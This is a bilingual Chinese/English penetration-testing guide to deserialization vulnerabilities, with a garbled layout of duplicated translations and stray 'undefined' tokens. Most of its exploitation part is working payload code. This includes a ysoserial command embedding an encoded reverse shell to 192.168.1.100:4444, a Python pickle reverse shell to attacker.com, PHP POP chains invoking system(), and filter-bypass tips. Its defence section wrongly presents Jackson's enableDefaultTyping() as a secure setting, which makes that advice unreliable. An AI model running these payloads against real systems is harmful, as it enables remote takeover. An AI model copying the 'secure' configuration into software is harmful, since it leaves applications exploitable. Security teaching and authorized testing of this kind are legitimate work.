deserialization-testing
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
Chinese反序列化漏洞测试
Deserialization Vulnerability Testing
概述
Overview
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
Deserialization vulnerabilities are flaws caused by applications deserializing untrusted data, which can lead to remote code execution, denial of service, and other issues. This skill provides methods for detecting, exploiting, and defending against deserialization vulnerabilities.
漏洞原理
Vulnerability Principle
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
When an application deserializes serialized data into objects, if the data comes from an untrusted source, an attacker can construct malicious serialized data to execute arbitrary code during the deserialization process.
常见格式
Common Formats
Java
Java
常见库:
- Java原生序列化
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
Common Libraries:
- Java Native Serialization
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
PHP
PHP
常见函数:
- unserialize()
- json_decode()
Common Functions:
- unserialize()
- json_decode()
Python
Python
常见模块:
- pickle
- yaml
- json
Common Modules:
- pickle
- yaml
- json
.NET
.NET
常见类:
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
Common Classes:
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
测试方法
Testing Methods
1. 识别序列化数据
1. Identify Serialized Data
Java序列化特征:
AC ED 00 05 (十六进制)
rO0 (Base64)PHP序列化特征:
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}Python pickle特征:
\x80\x03Java Serialization Features:
AC ED 00 05 (Hexadecimal)
rO0 (Base64)PHP Serialization Features:
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}Python pickle Features:
\x80\x032. 检测反序列化点
2. Detect Deserialization Points
常见位置:
- Cookie值
- Session数据
- API参数
- 文件上传
- 缓存数据
- 消息队列
Common Locations:
- Cookie values
- Session data
- API parameters
- File uploads
- Cache data
- Message queues
3. Java反序列化
3. Java Deserialization
Apache Commons Collections利用:
java
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin常见Gadget链:
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
Apache Commons Collections Exploitation:
java
// Use ysoserial to generate Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.binCommon Gadget Chains:
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
4. PHP反序列化
4. PHP Deserialization
基础测试:
php
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>魔术方法利用:
- __destruct()
- __wakeup()
- __toString()
- __call()
Basic Testing:
php
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>Magic Method Exploitation:
- __destruct()
- __wakeup()
- __toString()
- __call()
5. Python pickle
5. Python pickle
基础测试:
python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())Basic Testing:
python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())利用技术
Exploitation Techniques
Java RCE
Java RCE
使用ysoserial:
bash
undefinedUsing ysoserial:
bash
undefined生成Payload
Generate Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
Base64编码
Base64 Encoding
base64 -w 0 payload.bin
**手动构造:**
```java
// 使用Gadget链构造恶意对象
// 参考ysoserial源码base64 -w 0 payload.bin
**Manual Construction:**
```java
// Construct malicious objects using Gadget chains
// Refer to ysoserial source codePHP RCE
PHP RCE
利用POP链:
php
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>Exploiting POP Chains:
php
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>Python RCE
Python RCE
Pickle RCE:
python
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))Pickle RCE:
python
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))绕过技术
Bypass Techniques
编码绕过
Encoding Bypass
Base64编码:
原始: rO0ABXNy...
编码: ck8wQUJYTnk...URL编码:
%72%4F%00%AB...Base64 Encoding:
Original: rO0ABXNy...
Encoded: ck8wQUJYTnk...URL Encoding:
%72%4F%00%AB...过滤器绕过
Filter Bypass
使用不同Gadget链:
- 如果CommonsCollections被过滤,尝试Spring
- 如果某个版本被过滤,尝试其他版本
Using Different Gadget Chains:
- If CommonsCollections is filtered, try Spring
- If a certain version is filtered, try other versions
类名混淆
Class Name Obfuscation
使用反射:
java
Class.forName("java.lang.Runtime").getMethod("exec", String.class)Using Reflection:
java
Class.forName("java.lang.Runtime").getMethod("exec", String.class)工具使用
Tool Usage
ysoserial
ysoserial
bash
undefinedbash
undefined列出可用Gadget
List available Gadgets
java -jar ysoserial.jar
java -jar ysoserial.jar
生成Payload
Generate Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
生成Base64
Generate Base64
java -jar ysoserial.jar CommonsCollections1 "command" | base64
undefinedjava -jar ysoserial.jar CommonsCollections1 "command" | base64
undefinedPHPGGC
PHPGGC
bash
undefinedbash
undefined列出可用Gadget
List available Gadgets
./phpggc -l
./phpggc -l
生成Payload
Generate Payload
./phpggc Monolog/RCE1 system id
./phpggc Monolog/RCE1 system id
生成编码Payload
Generate Encoded Payload
./phpggc -b Monolog/RCE1 system id
undefined./phpggc -b Monolog/RCE1 system id
undefinedBurp Suite
Burp Suite
- 拦截包含序列化数据的请求
- 使用插件生成Payload
- 替换原始数据
- 观察响应
- Intercept requests containing serialized data
- Use plugins to generate Payloads
- Replace original data
- Observe responses
验证和报告
Verification and Reporting
验证步骤
Verification Steps
- 确认可以控制序列化数据
- 验证反序列化触发代码执行
- 评估影响(RCE、数据泄露等)
- 记录完整的POC
- Confirm control over serialized data
- Verify that deserialization triggers code execution
- Assess impact (RCE, data leakage, etc.)
- Record complete POC
报告要点
Key Reporting Points
- 漏洞位置和序列化数据格式
- 使用的Gadget链或利用方式
- 完整的利用步骤和PoC
- 修复建议(输入验证、使用安全序列化等)
- Vulnerability location and serialized data format
- Gadget chain or exploitation method used
- Complete exploitation steps and PoC
- Fix recommendations (input validation, use secure serialization, etc.)
防护措施
Defensive Measures
推荐方案
Recommended Solutions
-
避免反序列化不可信数据
- 使用JSON替代
- 使用安全的序列化格式
-
输入验证java
// 白名单验证类名 private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.SafeClass"); private Object readObject(ObjectInputStream ois) { // 验证类名 // ... } -
使用安全配置java
// Jackson配置 objectMapper.enableDefaultTyping(); objectMapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY); -
类加载器隔离
- 使用自定义ClassLoader
- 限制可加载的类
-
监控和日志
- 记录反序列化操作
- 监控异常行为
-
Avoid deserializing untrusted data
- Use JSON instead
- Use secure serialization formats
-
Input Validationjava
// Whitelist validation for class names private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.SafeClass"); private Object readObject(ObjectInputStream ois) { // Validate class name // ... } -
Use Secure Configurationsjava
// Jackson configuration objectMapper.enableDefaultTyping(); objectMapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY); -
ClassLoader Isolation
- Use custom ClassLoader
- Restrict loadable classes
-
Monitoring and Logging
- Record deserialization operations
- Monitor abnormal behavior
注意事项
Notes
- 仅在授权测试环境中进行
- 注意不同版本库的Gadget链差异
- 测试时注意Payload大小限制
- 了解目标应用的依赖库版本
- Only perform in authorized testing environments
- Note differences in Gadget chains across library versions
- Pay attention to payload size limits during testing
- Understand the dependency library versions of the target application